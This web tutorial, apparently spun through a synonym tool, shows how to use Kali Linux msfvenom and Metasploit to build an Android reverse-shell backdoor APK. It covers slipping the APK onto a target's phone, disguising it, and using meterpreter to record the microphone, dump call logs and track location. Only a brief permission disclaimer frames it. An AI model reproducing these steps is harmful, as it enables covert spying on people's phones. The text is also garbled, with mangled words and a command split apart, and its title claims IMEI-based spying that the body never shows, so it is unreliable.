How To Spy On Phone With Imei In Kali Linux

An Android smartphone is often a gateway to nearly commercial IoT gadgets. A Nest Smoke alert is managed through a relevant Android app. So is a Nest Thermostat to control the temperature. Smart locks, doorbell cams – almost all smart devices can be accessed from Alexa or other primary apps. What if someone were to gain remote access to such an Android phone? You think this is impossible? For this, we volition give a basic demo of how a Kali Linux "metasploit" can be used to create a backdoor entry to your Android phone.

Note: this tutorial is for security researchers and hobbyists. We do not recommend hacking anyone's telephone without their permission.

Background

Before you begin work on Kali Linux, you commencement need to familiarize yourself with its console terminal.

It readily hosts a comprehensive listing of tools which are designed to target a device's firmware or operating system.

Here, we will utilise one of the common tools called "MSFVenom" to insert a virus in an Android phone. Information technology generates multiple kinds of payloads based on user selected options. The exploit works across many platforms including Windows, Android, OpenBSD, Solaris, Java, PHP, and gaming hardware.

Launching an Android Metasploit

The post-obit steps will demonstrate how to download MSFVenom on a Kali Linux organisation.

Start the final and enter the following command.

msfvenom - p android/meterpreter/reverse_tcp Fifty            HOST=IP address            LPORT=Number R            >            /root/LOCATION/hackand.apk

Here, the payload is launched using an Exploit extension calleed "Meterpreter".

To decide the IP address of the listener host, open a new panel terminal and enter ifconfig. Usually, port 4444 is assigned for trojans, exploits, and viruses.

Access Android Kali Linux Determine Ip Address

Once the IP address has been determined, go dorsum to the previous screen and enter the details.

The file "hackand.apk" volition be saved in the desktop and is the main backdoor exploit to be used on the Android telephone.

Access Android Kali Linux Msfvenom Launched

In the adjacent step, launch "msfconsole" which is a mutual penetration testing tool used with Kali Linux. For this, enter service postgresql kickoff followed by msfconsole. PostgreSQL refers to a database where the panel has been stored.

Access Android Kali Linux Starting Msfconsole

Once the penetration tool is ready, you tin launch the remaining exploit.

Access Android Kali Linux Starting Msfconsole Part 2

Next, an executable called "multi-handler" volition be used.

Refer to the paradigm below for connecting the exploit with the console. The same IP address and port numbers will be used.

In the next stage, the msfvenom exploit volition be launched and initialized with a simple exploit control. Now, we accept to detect a target which will exist an Android phone.

Access Android Kali Linux Initialize Exploit

Connecting Kali Linux Final with Android Phone

The hackand.apk file which we downloaded before is only x KB in size. You volition have to find a way to insert the file in the target's telephone. You can transfer the virus using USB or a temporary email service.

More often than not, webmail providers such every bit Gmail or Yahoo will refuse to deport this virus infected file.

Android will warn yous before you insert the software. Just, it simply takes less than 20 seconds to complete the installation as you merely take to "ignore the risk and install." This makes the threat somewhat serious if your telephone is in unlock mode.

Access Android Kali Linux Virus Installed

As shown hither, a lot of harm can be done to the phone including modifying the storage contents, preventing phone from sleep, connecting and disconnecting from Wi-Fi, setting wallpaper, and more.

Access Android Kali Linux Phone Device Access

Once the APK file is installed, it tin can be cleverly disguised within the phone.

At present, you can employ many commands similar the following on Kali Linux terminal to control the phone. You don't have to remember them really as the list is available from a simple assistance pick in meterpreter.

record_mic: recording the microphone
dump calllog: get the telephone call log
webcam_chat: kickoff a video chat
geolocate: get the phone'due south current location

Most advanced Android phones volition prevent this malicious app from getting installed. And then, this exploit will mostly piece of work with older Android models.

Thoughts

In this tutorial, we saw a basic strategy of using Kali Linux to proceeds admission to an Android smartphone. Even though this is a very simple exploit, information technology has great implications in terms of IoT security.

What do y'all think of Kali Linux exploits? Will you be more cautious about your phone'due south security? Practise let u.s.a. know in the comments.

Is this article useful?

Subscribe to our newsletter!

Our latest tutorials delivered straight to your inbox